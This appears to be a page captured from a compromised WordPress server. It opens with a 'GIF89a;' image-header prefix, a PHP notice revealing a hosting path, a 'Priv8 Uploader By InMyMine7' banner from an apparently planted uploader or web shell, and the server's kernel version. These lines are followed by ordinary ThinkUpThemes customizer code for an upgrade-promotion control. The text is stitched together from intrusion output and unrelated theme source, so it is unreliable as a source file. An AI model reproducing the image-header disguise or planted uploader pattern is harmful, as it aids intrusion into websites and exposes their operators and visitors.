GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3
Priv8 Uploader By InMyMine7
Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
<?php
/**
* Control - Section.
*
* @package ThinkUpThemes
*/
if( class_exists( 'WP_Customize_Control' ) ) {
class thinkup_customizer_customcontrol_upgrade extends WP_Customize_Control {
// Declare the control type.
public $type = 'upgrade';
public $upgrade_url = '';
public $price_discount = '';
public $price_normal = '';
public $coupon = '';
public $button = '';
public $title_main = '';
public $title_secondary = '';
public $images = '';
// Enqueue scripts and styles for the custom control.
public function enqueue() {
wp_enqueue_style( 'thinkup-control-upgrade', trailingslashit( get_template_directory_uri() ) . 'admin/main/inc/controls/upgrade/control_upgrade.css' );
}
// Render the control to be displayed in the Customizer.
public function render_content() {
// -------------------------------------------------------------------------------------
// 1. Intro section
// -------------------------------------------------------------------------------------
echo '<div id="thinkup-promotion-field-header">';
echo '<div id="promotion-table">';
echo '<div id="promotion-header">';
echo '<p class="main-title">' . esc_html( $this->price_discount ) . '</p>';
echo '<a href="' . esc_url( $this->upgrade_url ) . '" target="_blank" class="promotion-button">' . esc_html( $this->button ) . '</a>';
echo '</div>';
echo '<div id="promotion-coupon">';
echo '<a href="' . esc_url( $this->upgrade_url ) . '" target="_blank">' . esc_html( $this->coupon ) . '<span>' . esc_html( $this->price_normal ) . '</span></a>';
echo '</div>';
echo '</div>';
echo '<p class="main-title">' . esc_html( $this->title_main ) . '</p>';
echo '<p class="secondary-title">' . esc_html( $this->title_secondary ) . '</p>';
echo '</div>';
// -------------------------------------------------------------------------------------
// 2. Image section
// -------------------------------------------------------------------------------------
// Output upgrade images
foreach ( $this->images as $image ) {
printf(
'<div class="thinkup-promotion-field-item">
<div class="has-screenshot">
<a href="%s" target="_blank" class="promotion-image"><img src="%s" alt="" /></a>
</div>
</div>',
esc_url( $this->upgrade_url ),
esc_url( sprintf( $image, get_template_directory_uri(), get_stylesheet_directory_uri() ) )
);
}
}
}
}